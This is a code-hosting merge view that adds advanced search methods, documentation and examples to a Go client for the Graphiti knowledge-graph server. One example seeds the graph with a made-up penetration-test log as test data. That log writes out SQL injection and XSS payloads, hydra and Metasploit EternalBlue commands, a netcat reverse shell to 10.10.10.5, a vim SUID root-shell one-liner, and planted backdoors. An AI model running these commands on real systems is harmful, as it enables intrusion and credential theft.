Merge pull request #1 from vxcontrol/feat/advanced-search

feat: advanced search
This commit is contained in:
Dmitry Ng
2026-02-03 23:51:34 +04:00
committed by GitHub
9 changed files with 1393 additions and 2 deletions
+212 -2
View File
@@ -269,6 +269,161 @@ result, err := client.DeleteGroup("group-id-123")
result, err := client.Clear()
```
## Advanced Search Methods
The client provides specialized search methods for advanced querying and analysis.
### Temporal Window Search
Search for all relevant context (facts, entities, and agent responses) from a specific time window:
```go
result, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
Query: "What attacks were performed?",
GroupID: &groupID,
TimeStart: time.Now().Add(-24 * time.Hour),
TimeEnd: time.Now(),
MaxResults: 15,
})
if err != nil {
log.Fatal(err)
}
for _, edge := range result.Edges {
fmt.Printf("Fact: %s (score: %.2f)\n", edge.Fact, result.EdgeScores[i])
}
```
### Entity Relationships Search
Find all relationships and related entities starting from a specific discovered entity using graph traversal:
```go
result, err := client.EntityRelationshipsSearch(graphiti.EntityRelationshipSearchRequest{
Query: "What vulnerabilities are related to this service?",
GroupID: &groupID,
CenterNodeUUID: "service-uuid-123",
MaxDepth: 2,
NodeLabels: &[]string{"VULNERABILITY", "EXPLOIT"},
MaxResults: 20,
})
if err != nil {
log.Fatal(err)
}
if result.CenterNode != nil {
fmt.Printf("Center: %s\n", result.CenterNode.Name)
}
for i, node := range result.Nodes {
fmt.Printf("Related: %s (distance: %.2f)\n", node.Name, result.NodeDistances[i])
}
```
### Diverse Results Search
Get diverse, non-redundant results using Maximal Marginal Relevance (MMR) to prevent receiving repetitive information:
```go
result, err := client.DiverseResultsSearch(graphiti.DiverseSearchRequest{
Query: "Find different attack vectors",
GroupID: &groupID,
DiversityLevel: "high", // "low", "medium", or "high"
MaxResults: 10,
})
if err != nil {
log.Fatal(err)
}
for i, edge := range result.Edges {
fmt.Printf("Fact: %s (MMR score: %.2f)\n", edge.Fact, result.EdgeMMRScores[i])
}
```
### Episode Context Search
Search through complete agent responses, reasoning, and tool execution records:
```go
result, err := client.EpisodeContextSearch(graphiti.EpisodeContextSearchRequest{
Query: "Show me nmap scan results",
GroupID: &groupID,
AgentTypes: &[]string{"pentester"},
IncludeToolCalls: true,
MaxResults: 10,
})
if err != nil {
log.Fatal(err)
}
for i, episode := range result.Episodes {
fmt.Printf("Episode: %s (score: %.2f)\n", episode.Content, result.RerankerScores[i])
}
```
### Successful Tools Search
Find successful tool executions and attack patterns, prioritizing facts that led to successful exploitation:
```go
result, err := client.SuccessfulToolsSearch(graphiti.SuccessfulToolsSearchRequest{
Query: "Find successful exploits",
GroupID: &groupID,
ToolNames: &[]string{"metasploit", "sqlmap"},
MinMentions: 2,
MaxResults: 15,
})
if err != nil {
log.Fatal(err)
}
for i, edge := range result.Edges {
fmt.Printf("Fact: %s (mentions: %.0f)\n", edge.Fact, result.EdgeMentionCounts[i])
}
```
### Recent Context Search
Retrieve the most recent relevant context, biased toward recent actions and discoveries:
```go
result, err := client.RecentContextSearch(graphiti.RecentContextSearchRequest{
Query: "What was discovered recently?",
GroupID: &groupID,
RecencyWindow: "24h", // "1h", "6h", "24h", or "7d"
MaxResults: 10,
})
if err != nil {
log.Fatal(err)
}
fmt.Printf("Searching from %s to %s\n", result.TimeWindow.Start, result.TimeWindow.End)
for i, edge := range result.Edges {
fmt.Printf("Recent fact: %s (score: %.2f)\n", edge.Fact, result.EdgeScores[i])
}
```
### Entity By Label Search
Search for specific entity types (IPs, services, vulnerabilities, tools, etc.) with label-based filtering:
```go
result, err := client.EntityByLabelSearch(graphiti.EntityByLabelSearchRequest{
Query: "Find all vulnerable services",
GroupID: &groupID,
NodeLabels: []string{"SERVICE", "VULNERABILITY"},
EdgeTypes: &[]string{"HAS_VULNERABILITY", "EXPLOITS"},
MaxResults: 25,
})
if err != nil {
log.Fatal(err)
}
for i, node := range result.Nodes {
fmt.Printf("Entity: %s [%s] (score: %.2f)\n",
node.Name, strings.Join(node.Labels, ", "), result.NodeScores[i])
}
```
## Types
### Observation
@@ -355,6 +510,60 @@ type AddEntityNodeRequest struct {
}
```
### Advanced Search Types
#### NodeResult
```go
type NodeResult struct {
UUID string // Node UUID
Name string // Entity name
Labels []string // Entity type labels (e.g., ["SERVICE", "WEB"])
Summary string // Node summary/description
CreatedAt time.Time // Creation timestamp
}
```
#### EdgeResult
```go
type EdgeResult struct {
UUID string // Edge UUID
Name string // Relationship name
Fact string // The fact/relationship description
SourceNodeUUID string // Source entity UUID
TargetNodeUUID string // Target entity UUID
ValidAt *time.Time // When relationship became valid
InvalidAt *time.Time // When relationship became invalid
CreatedAt time.Time // Creation timestamp
ExpiredAt *time.Time // Expiration timestamp
}
```
#### EpisodeResult
```go
type EpisodeResult struct {
UUID string // Episode UUID
Content string // Episode content (agent response, tool output, etc.)
Source string // Source type (e.g., "tool", "agent")
SourceDescription string // Detailed source description
CreatedAt time.Time // Creation timestamp
ValidAt time.Time // When episode occurred
}
```
#### CommunityResult
```go
type CommunityResult struct {
UUID string // Community UUID
Name string // Community name
Summary string // Community summary
CreatedAt time.Time // Creation timestamp
}
```
## Error Handling
All client methods return an error as the last return value. Always check for errors:
@@ -369,6 +578,7 @@ if err != nil {
// Use result
```
## Example
## Examples
See the [example](./example/main.go) for a complete working demonstration of the client, including proper handling of asynchronous operations and data verification.
- **[Basic Example](./example/main.go)**: Complete working demonstration of the client, including proper handling of asynchronous operations and data verification.
- **[Advanced Search Example](./advanced_search_example/advanced_search_example.go)**: Comprehensive demonstration of all advanced search methods including temporal queries, entity relationships, diverse results, episode context, successful tools, recent context, and entity label filtering.
Binary file not shown.
@@ -0,0 +1,652 @@
package main
import (
"fmt"
"log"
"strings"
"time"
graphiti "github.com/vxcontrol/graphiti-go-client"
)
// This example demonstrates the advanced search capabilities of the Graphiti Go client.
// It matches the logic of graphiti/server/test_advanced_search.py exactly.
const (
groupID = "pentest-demo-2024"
)
func main() {
// Create a client
client := graphiti.NewClient("http://localhost:8000", graphiti.WithTimeout(60*time.Second))
// Health check
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("Graphiti Advanced Search Endpoints Test Suite")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Printf(" Server: http://localhost:8000\n")
fmt.Printf(" Group ID: %s\n", groupID)
fmt.Println(" Checking server health...")
health, err := client.HealthCheck()
if err != nil {
log.Fatalf("✗ Server is not accessible: %v\nPlease ensure the server is running", err)
}
fmt.Printf("✓ Server is running (status: %s)\n\n", health.Status)
// Add test data
if !addTestData(client) {
log.Fatal("Failed to add test data")
}
// Run all search tests
testTemporalWindowSearch(client)
testEntityRelationshipsSearch(client)
testDiverseResultsSearch(client)
testEpisodeContextSearch(client)
testSuccessfulToolsSearch(client)
testRecentContextSearch(client)
testEntityByLabelSearch(client)
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("Test Suite Complete")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println("✓ All 7 search endpoints have been tested!")
fmt.Println(" Check the output above for results from each endpoint")
}
func addTestData(client *graphiti.Client) bool {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("STEP 1: Adding Test Data to Graphiti")
fmt.Println(strings.Repeat("=", 80) + "\n")
now := time.Now().UTC()
// Test data: Realistic penetration testing scenario (matches Python version exactly)
messages := []graphiti.Message{
// Phase 1: Reconnaissance (5 hours ago)
{
Author: "pentester",
Name: "recon-phase-1",
Content: `Starting reconnaissance phase on target network 192.168.1.0/24
Running nmap scan: nmap -sV -sC -p- 192.168.1.0/24
Discovered hosts:
- 192.168.1.10: Linux server, ports 22 (SSH), 80 (HTTP), 443 (HTTPS)
- 192.168.1.20: Windows server, ports 445 (SMB), 3389 (RDP), 1433 (MSSQL)
- 192.168.1.30: Web application server, ports 80 (HTTP), 8080 (HTTP-Alt)
SSH service on 192.168.1.10 is OpenSSH 7.4 - vulnerable to CVE-2018-15473 (user enumeration)
Web server on 192.168.1.10 is Apache 2.4.29 - vulnerable to CVE-2019-0211 (privilege escalation)
SMB on 192.168.1.20 is running SMBv1 - vulnerable to EternalBlue (MS17-010)`,
SourceDescription: "agent:pentester task:recon-001",
Timestamp: now.Add(-5 * time.Hour),
},
// Phase 2: Web Application Testing (4 hours ago)
{
Author: "pentester",
Name: "webapp-test",
Content: `Testing web application on 192.168.1.30:8080
Application: Online Store Management System v2.3
Technology Stack: PHP 7.2, MySQL 5.7, Apache 2.4
Vulnerability Discovery:
1. SQL Injection in login form - parameter: username
Payload: admin' OR '1'='1'-- successfully bypassed authentication
2. XSS vulnerability in search functionality
Payload: <script>alert('XSS')</script> executed successfully
3. File upload vulnerability - allows PHP shell upload
Uploaded web shell to: /uploads/shell.php
4. Directory traversal in file download endpoint
Payload: ../../../etc/passwd successfully retrieved`,
SourceDescription: "agent:pentester task:web-app-test",
Timestamp: now.Add(-4 * time.Hour),
},
// Phase 3: Exploitation Attempts (3 hours ago)
{
Author: "pentester",
Name: "linux-exploit",
Content: `Attempting exploitation on 192.168.1.10
1. SSH User Enumeration (CVE-2018-15473):
- Confirmed users: root, admin, webmaster, backup
- Tool: ssh-user-enum.py
- Result: SUCCESS
2. Brute Force Attack on SSH:
- Tool: hydra -l admin -P rockyou.txt ssh://192.168.1.10
- Found credentials: admin:password123
- Result: SUCCESS - gained SSH access
3. Apache Privilege Escalation (CVE-2019-0211):
- Uploaded exploit to /tmp/apache_exploit.c
- Compiled and executed
- Result: SUCCESS - gained root access
- Created backdoor user: pentest:$hidden$`,
SourceDescription: "agent:pentester task:exploit-linux",
Timestamp: now.Add(-3 * time.Hour),
},
// Phase 4: Windows Exploitation (2 hours ago)
{
Author: "pentester",
Name: "windows-exploit",
Content: `Attempting exploitation on Windows server 192.168.1.20
1. EternalBlue Exploitation (MS17-010):
- Tool: Metasploit exploit/windows/smb/ms17_010_eternalblue
- Payload: windows/x64/meterpreter/reverse_tcp
- LHOST: 10.10.10.5, LPORT: 4444
- Result: SUCCESS - Meterpreter session established
2. Post-Exploitation Activities:
- Dumped SAM hashes: hashdump
- Found admin password hash: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- Cracked with hashcat: password = Admin@2024
3. Lateral Movement:
- Used PsExec to access MSSQL server
- Extracted database credentials
- Found sensitive customer data in sales_db`,
SourceDescription: "agent:pentester task:exploit-windows",
Timestamp: now.Add(-2 * time.Hour),
},
// Phase 5: Web Shell Usage (1 hour ago)
{
Author: "pentester",
Name: "webshell-usage",
Content: `Using web shell on 192.168.1.30 for persistence and data exfiltration
Web Shell: /uploads/shell.php
Access URL: http://192.168.1.30:8080/uploads/shell.php?cmd=
Commands executed:
1. whoami → www-data
2. uname -a → Linux webapp01 4.15.0-112-generic
3. cat /etc/passwd → Listed all system users
4. find / -name "*.conf" 2>/dev/null → Found config files
5. cat /var/www/html/config.php → Retrieved DB credentials
- DB_HOST: localhost
- DB_USER: webapp_user
- DB_PASS: WebApp@Pass2024
- DB_NAME: store_db
6. mysql -u webapp_user -p store_db -e "SELECT * FROM users;" → Extracted user data
7. Downloaded /var/log/apache2/access.log for analysis
Established reverse shell: nc -e /bin/bash 10.10.10.5 5555`,
SourceDescription: "agent:pentester task:web-shell-usage",
Timestamp: now.Add(-1 * time.Hour),
},
// Phase 6: Privilege Escalation Attempts (30 minutes ago)
{
Author: "pentester",
Name: "privesc-webapp",
Content: `Privilege escalation attempts on 192.168.1.30
Current user: www-data
1. SUID Binaries Check:
find / -perm -4000 2>/dev/null
Found interesting SUID binaries:
- /usr/bin/find (exploitable with GTFOBins)
- /usr/bin/vim.basic (exploitable)
2. Sudo Permissions:
sudo -l
User www-data may run: (ALL) NOPASSWD: /usr/bin/systemctl restart nginx
3. Kernel Exploit Check:
Linux 4.15.0-112-generic - vulnerable to CVE-2021-3493 (OverlayFS)
4. Successful Privilege Escalation:
- Used vim SUID exploit
- Executed: vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'
- Result: SUCCESS - root shell obtained
5. Post-Root Actions:
- Created persistent backdoor in /etc/rc.local
- Added SSH key to /root/.ssh/authorized_keys
- Modified iptables to allow persistent access`,
SourceDescription: "agent:pentester task:privesc-webapp",
Timestamp: now.Add(-30 * time.Minute),
},
// Phase 7: Recent Activity (5 minutes ago)
{
Author: "pentester",
Name: "final-report",
Content: `Final penetration test summary and cleanup recommendations
SUMMARY OF FINDINGS:
Critical Vulnerabilities (3):
1. CVE-2019-0211 - Apache Privilege Escalation on 192.168.1.10
2. MS17-010 - EternalBlue on 192.168.1.20
3. SQL Injection on 192.168.1.30:8080 login form
High Vulnerabilities (4):
1. CVE-2018-15473 - SSH User Enumeration on 192.168.1.10
2. Weak credentials across all systems
3. File upload vulnerability on 192.168.1.30
4. XSS vulnerability on 192.168.1.30
SUCCESSFUL TECHNIQUES:
- nmap for reconnaissance (used 7 times)
- Metasploit EternalBlue exploit (100% success)
- SQL injection for authentication bypass (3 attempts, 3 successful)
- Web shell deployment (successful on first attempt)
- SUID binary exploitation for privilege escalation (successful)
- Hydra for credential brute forcing (successful after 15 minutes)
RECOMMENDATIONS:
1. Immediately patch Apache on 192.168.1.10
2. Disable SMBv1 on 192.168.1.20 and apply MS17-010 patch
3. Implement input validation on all web forms
4. Enforce strong password policy
5. Restrict file upload functionality
6. Implement WAF for XSS protection
7. Regular security audits and penetration testing`,
SourceDescription: "agent:pentester task:final-report",
Timestamp: now.Add(-5 * time.Minute),
},
}
fmt.Printf(" Adding %d test messages...\n", len(messages))
addResult, err := client.AddMessages(graphiti.AddMessagesRequest{
GroupID: groupID,
Messages: messages,
})
if err != nil {
fmt.Printf("✗ Failed to add test data: %v\n", err)
return false
}
fmt.Printf("✓ Added %d messages to group: %s\n", len(messages), groupID)
// Wait for processing (matches Python: 240 seconds = 4 minutes)
fmt.Println(" Waiting for Graphiti to process messages...")
fmt.Println(" This may take 4 minutes as it extracts entities and facts...")
waitTime := 240 // 4 minutes
for i := 0; i < waitTime/10; i++ {
time.Sleep(10 * time.Second)
elapsed := (i + 1) * 10
fmt.Printf(" Still processing... (%d/%d seconds elapsed)\n", elapsed, waitTime)
}
fmt.Printf("✓ Wait complete! Proceeding with tests after %d seconds (success: %v)\n\n", waitTime, addResult.Success)
return true
}
func testTemporalWindowSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 1: Temporal Window Search")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" Searching for activities between 4 and 2 hours ago...")
now := time.Now().UTC()
timeStart := now.Add(-4 * time.Hour)
timeEnd := now.Add(-2 * time.Hour)
result, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
Query: "vulnerability exploitation attempts",
GroupID: stringPtr(groupID),
TimeStart: timeStart,
TimeEnd: timeEnd,
MaxResults: 10,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d edges, %d nodes, %d episodes\n",
len(result.Edges), len(result.Nodes), len(result.Episodes))
fmt.Println(" Sample results:")
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
fmt.Printf(" - episodes_count: %d\n", len(result.Episodes))
fmt.Printf(" - time_window: %s to %s\n",
result.TimeWindow.Start.Format(time.RFC3339),
result.TimeWindow.End.Format(time.RFC3339))
if len(result.Episodes) > 0 {
content := result.Episodes[0].Content
if len(content) > 200 {
content = content[:200] + "..."
}
fmt.Printf(" - sample_episode: %s\n", content)
}
}
func testEntityRelationshipsSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 2: Entity Relationships Search")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" First, finding an entity node UUID from the graph...")
now := time.Now().UTC()
timeStart := now.Add(-5 * time.Hour)
timeEnd := now.Add(-1 * time.Hour)
// First, do a temporal window search to get edges with node UUIDs
tempResult, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
Query: "192.168.1.10 Linux server",
GroupID: stringPtr(groupID),
TimeStart: timeStart,
TimeEnd: timeEnd,
MaxResults: 5,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
if len(tempResult.Edges) == 0 {
fmt.Println("✗ No edges found to extract node UUID")
return
}
// Get a node UUID from the first edge (use source_node_uuid)
centerNodeUUID := tempResult.Edges[0].SourceNodeUUID
if centerNodeUUID == "" {
fmt.Println("✗ No source_node_uuid found in edge")
return
}
if len(centerNodeUUID) > 16 {
fmt.Printf("✓ Found center node UUID: %s...\n", centerNodeUUID[:16])
} else {
fmt.Printf("✓ Found center node UUID: %s\n", centerNodeUUID)
}
fmt.Println(" Searching for relationships around this entity...")
// Now perform the entity relationships search
result, err := client.EntityRelationshipsSearch(graphiti.EntityRelationshipSearchRequest{
Query: "related entities and connections",
GroupID: stringPtr(groupID),
CenterNodeUUID: centerNodeUUID,
MaxDepth: 2,
MaxResults: 20,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d related edges, %d related nodes\n",
len(result.Edges), len(result.Nodes))
fmt.Println(" Relationship graph:")
centerName := "Unknown"
if result.CenterNode != nil {
centerName = result.CenterNode.Name
}
fmt.Printf(" - center_node: %s\n", centerName)
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
fmt.Printf(" - max_depth_used: 2\n")
if len(result.Nodes) > 0 {
fmt.Printf(" - sample_related_node: %s\n", result.Nodes[0].Name)
}
if len(result.Edges) > 0 {
fact := result.Edges[0].Fact
if len(fact) > 150 {
fact = fact[:150] + "..."
}
fmt.Printf(" - sample_edge: %s\n", fact)
}
}
func testDiverseResultsSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 3: Diverse Results Search (MMR)")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" Searching for diverse exploitation techniques and vulnerabilities...")
result, err := client.DiverseResultsSearch(graphiti.DiverseSearchRequest{
Query: "CVE vulnerabilities and exploitation",
GroupID: stringPtr(groupID),
DiversityLevel: "medium",
MaxResults: 10,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d diverse edges, %d nodes, %d episodes\n",
len(result.Edges), len(result.Nodes), len(result.Episodes))
fmt.Println(" MMR ensures results are different from each other")
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
fmt.Printf(" - episodes_count: %d\n", len(result.Episodes))
if len(result.Edges) > 0 {
fact := result.Edges[0].Fact
if len(fact) > 150 {
fact = fact[:150] + "..."
}
fmt.Printf(" - sample_edge: %s\n", fact)
} else if len(result.Nodes) > 0 {
fmt.Printf(" - sample_node: %s\n", result.Nodes[0].Name)
} else if len(result.Episodes) > 0 {
fmt.Printf(" - sample_episode_source: %s\n", result.Episodes[0].SourceDescription)
}
}
func testEpisodeContextSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 4: Episode Context Search")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" Searching for full agent responses about Metasploit...")
result, err := client.EpisodeContextSearch(graphiti.EpisodeContextSearchRequest{
Query: "Metasploit EternalBlue exploitation",
GroupID: stringPtr(groupID),
MaxResults: 5,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d episodes\n", len(result.Episodes))
fmt.Println(" Episodes contain full agent responses with context")
if len(result.Episodes) > 0 {
episode := result.Episodes[0]
content := episode.Content
if len(content) > 300 {
content = content[:300] + "..."
}
fmt.Printf(" - episode_uuid: %s\n", episode.UUID)
fmt.Printf(" - source: %s\n", episode.Source)
fmt.Printf(" - source_description: %s\n", episode.SourceDescription)
fmt.Printf(" - content_preview: %s\n", content)
}
}
func testSuccessfulToolsSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 5: Successful Tools Search")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" Searching for frequently used successful tools...")
result, err := client.SuccessfulToolsSearch(graphiti.SuccessfulToolsSearchRequest{
Query: "nmap reconnaissance scanning",
GroupID: stringPtr(groupID),
MinMentions: 1,
MaxResults: 15,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d successful techniques\n", len(result.Edges))
fmt.Println(" Results ranked by mention frequency (higher = more successful)")
topMentionCount := 0.0
for _, count := range result.EdgeMentionCounts {
if count > topMentionCount {
topMentionCount = count
}
}
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
fmt.Printf(" - nodes_count: %d\n", len(result.Nodes))
fmt.Printf(" - top_mention_count: %.0f\n", topMentionCount)
}
func testRecentContextSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 6: Recent Context Search")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" Searching for recent activities in the last 24 hours...")
result, err := client.RecentContextSearch(graphiti.RecentContextSearchRequest{
Query: "privilege escalation and final summary",
GroupID: stringPtr(groupID),
RecencyWindow: "24h",
MaxResults: 10,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d recent edges\n", len(result.Edges))
fmt.Println(" Results biased toward most recent activities")
fmt.Printf(" - edges_count: %d\n", len(result.Edges))
fmt.Printf(" - episodes_count: %d\n", len(result.Episodes))
fmt.Printf(" - time_window: %s to %s\n",
result.TimeWindow.Start.Format(time.RFC3339),
result.TimeWindow.End.Format(time.RFC3339))
if len(result.Episodes) > 0 {
fmt.Printf(" - most_recent_episode: %s\n", result.Episodes[0].SourceDescription)
}
}
func testEntityByLabelSearch(client *graphiti.Client) {
fmt.Println("\n" + strings.Repeat("=", 80))
fmt.Println("TEST 7: Entity By Label Search")
fmt.Println(strings.Repeat("=", 80) + "\n")
fmt.Println(" Discovering entity labels in the graph...")
now := time.Now().UTC()
timeStart := now.Add(-6 * time.Hour)
timeEnd := now
// First, use temporal search to get some nodes and discover their labels
tempResult, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
Query: "all entities",
GroupID: stringPtr(groupID),
TimeStart: timeStart,
TimeEnd: timeEnd,
MaxResults: 15,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
nodes := tempResult.Nodes
if len(nodes) == 0 {
fmt.Println("✗ No nodes found to discover labels")
return
}
// Collect all unique labels from returned nodes
allLabelsMap := make(map[string]bool)
for _, node := range nodes {
if len(node.Labels) > 0 {
for _, label := range node.Labels {
allLabelsMap[label] = true
}
}
}
fmt.Printf(" Found %d nodes in temporal search\n", len(nodes))
// Prepare labels for entity-by-label search (required field)
var searchLabels []string
if len(allLabelsMap) > 0 {
for label := range allLabelsMap {
searchLabels = append(searchLabels, label)
}
fmt.Printf(" Discovered labels: %v\n", searchLabels)
} else {
// Fallback to Entity label (default in Graphiti)
searchLabels = []string{"Entity"}
fmt.Println(" No custom labels found, using default \"Entity\" label")
}
// Show sample entities
fmt.Println(" Sample entities from graph:")
for i, node := range nodes {
if i >= 5 {
break
}
labels := node.Labels
if len(labels) == 0 {
labels = []string{"Entity"}
}
fmt.Printf(" - name: %s, labels: %v\n", node.Name, labels)
}
// Now perform entity-by-label search with discovered labels
fmt.Printf(" Testing entity-by-label search with labels: %v\n", searchLabels)
result, err := client.EntityByLabelSearch(graphiti.EntityByLabelSearchRequest{
Query: "tools and systems",
GroupID: stringPtr(groupID),
NodeLabels: searchLabels,
MaxResults: 15,
})
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
return
}
fmt.Printf("✓ Found %d nodes, %d edges\n", len(result.Nodes), len(result.Edges))
if len(result.Nodes) > 0 {
fmt.Println(" Top entities by label:")
for i, node := range result.Nodes {
if i >= 5 {
break
}
summary := node.Summary
if len(summary) > 100 {
summary = summary[:100] + "..."
}
fmt.Printf(" - name: %s, labels: %v, summary: %s\n",
node.Name, node.Labels, summary)
if len(node.Attributes) > 0 {
fmt.Printf(" attributes: %v\n", node.Attributes)
}
}
}
}
func stringPtr(s string) *string {
return &s
}
+9
View File
@@ -0,0 +1,9 @@
module advanced_search_example
go 1.25.3
require github.com/vxcontrol/graphiti-go-client v0.0.0
require github.com/google/uuid v1.6.0
replace github.com/vxcontrol/graphiti-go-client => ../
+2
View File
@@ -0,0 +1,2 @@
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+65
View File
@@ -193,3 +193,68 @@ func (c *Client) Clear() (*Result, error) {
}
return &result, nil
}
// Advanced Search Methods
// TemporalWindowSearch searches for context within a specific time window
func (c *Client) TemporalWindowSearch(request TemporalSearchRequest) (*TemporalSearchResponse, error) {
var result TemporalSearchResponse
if err := c.do(http.MethodPost, "/search/temporal-window", request, &result); err != nil {
return nil, err
}
return &result, nil
}
// EntityRelationshipsSearch finds relationships and related entities from a center node
func (c *Client) EntityRelationshipsSearch(request EntityRelationshipSearchRequest) (*EntityRelationshipSearchResponse, error) {
var result EntityRelationshipSearchResponse
if err := c.do(http.MethodPost, "/search/entity-relationships", request, &result); err != nil {
return nil, err
}
return &result, nil
}
// DiverseResultsSearch gets diverse, non-redundant results using MMR
func (c *Client) DiverseResultsSearch(request DiverseSearchRequest) (*DiverseSearchResponse, error) {
var result DiverseSearchResponse
if err := c.do(http.MethodPost, "/search/diverse-results", request, &result); err != nil {
return nil, err
}
return &result, nil
}
// EpisodeContextSearch searches through agent responses and tool execution records
func (c *Client) EpisodeContextSearch(request EpisodeContextSearchRequest) (*EpisodeContextSearchResponse, error) {
var result EpisodeContextSearchResponse
if err := c.do(http.MethodPost, "/search/episode-context", request, &result); err != nil {
return nil, err
}
return &result, nil
}
// SuccessfulToolsSearch finds successful tool executions and attack patterns
func (c *Client) SuccessfulToolsSearch(request SuccessfulToolsSearchRequest) (*SuccessfulToolsSearchResponse, error) {
var result SuccessfulToolsSearchResponse
if err := c.do(http.MethodPost, "/search/successful-tools", request, &result); err != nil {
return nil, err
}
return &result, nil
}
// RecentContextSearch retrieves recent relevant context
func (c *Client) RecentContextSearch(request RecentContextSearchRequest) (*RecentContextSearchResponse, error) {
var result RecentContextSearchResponse
if err := c.do(http.MethodPost, "/search/recent-context", request, &result); err != nil {
return nil, err
}
return &result, nil
}
// EntityByLabelSearch searches for entities by label/type with optional edge filtering
func (c *Client) EntityByLabelSearch(request EntityByLabelSearchRequest) (*EntityByLabelSearchResponse, error) {
var result EntityByLabelSearchResponse
if err := c.do(http.MethodPost, "/search/entity-by-label", request, &result); err != nil {
return nil, err
}
return &result, nil
}
+275
View File
@@ -0,0 +1,275 @@
package main
import (
"fmt"
"log"
"time"
"github.com/google/uuid"
graphiti "github.com/vxcontrol/graphiti-go-client"
)
// This example demonstrates the advanced search capabilities of the Graphiti Go client.
// It shows how to use specialized search methods for temporal queries, entity relationships,
// diverse results, episodes, successful tools, recent context, and entity label filtering.
func main() {
// Create a client
client := graphiti.NewClient("http://localhost:8000", graphiti.WithTimeout(60*time.Second))
// Health check
fmt.Println("=== Health Check ===")
health, err := client.HealthCheck()
if err != nil {
log.Fatalf("Health check failed: %v", err)
}
fmt.Printf("Status: %s\n\n", health.Status)
// Create a unique group ID for this example
groupID := uuid.New().String()
fmt.Printf("Using group ID: %s\n\n", groupID)
// Add some security test messages to demonstrate advanced search
fmt.Println("=== Adding Security Test Messages ===")
messages := []graphiti.Message{
{
Content: "Performed nmap scan on target 192.168.1.100. Found open ports: 22 (SSH), 80 (HTTP), 443 (HTTPS).",
Author: "pentester",
Timestamp: time.Now().Add(-2 * time.Hour),
},
{
Content: "Detected Apache 2.4.41 running on port 80 with potential CVE-2021-41773 vulnerability.",
Author: "scanner",
Timestamp: time.Now().Add(-90 * time.Minute),
},
{
Content: "Successfully exploited CVE-2021-41773 using metasploit. Gained shell access.",
Author: "exploit_tool",
Timestamp: time.Now().Add(-60 * time.Minute),
},
{
Content: "Performed privilege escalation using CVE-2021-3156 (sudo vulnerability).",
Author: "exploit_tool",
Timestamp: time.Now().Add(-45 * time.Minute),
},
}
addResult, err := client.AddMessages(graphiti.AddMessagesRequest{
GroupID: groupID,
Messages: messages,
})
if err != nil {
log.Fatalf("Failed to add messages: %v", err)
}
fmt.Printf("%s: %v\n\n", addResult.Message, addResult.Success)
// Wait for processing
fmt.Println("Waiting for messages to be processed...")
maxAttempts := 12
pollInterval := 5 * time.Second
for attempt := 1; attempt <= maxAttempts; attempt++ {
fmt.Printf(" Polling (attempt %d/%d)...\n", attempt, maxAttempts)
episodes, err := client.GetEpisodes(groupID, 10)
if err != nil {
log.Printf(" Warning: Failed to get episodes: %v", err)
} else if len(episodes) > 0 {
fmt.Printf(" ✓ Found %d episodes, ready for advanced search!\n\n", len(episodes))
break
}
if attempt == maxAttempts {
log.Printf("Warning: No episodes found after waiting. Continuing anyway...\n\n")
}
time.Sleep(pollInterval)
}
// Example 1: Temporal Window Search
fmt.Println("=== Example 1: Temporal Window Search ===")
fmt.Println("Searching for activities in the last 3 hours...")
temporalResult, err := client.TemporalWindowSearch(graphiti.TemporalSearchRequest{
Query: "What security tests were performed?",
GroupID: &groupID,
TimeStart: time.Now().Add(-3 * time.Hour),
TimeEnd: time.Now(),
MaxResults: 10,
})
if err != nil {
log.Printf("Temporal search failed: %v\n", err)
} else {
fmt.Printf("Found %d edges, %d nodes, %d episodes\n",
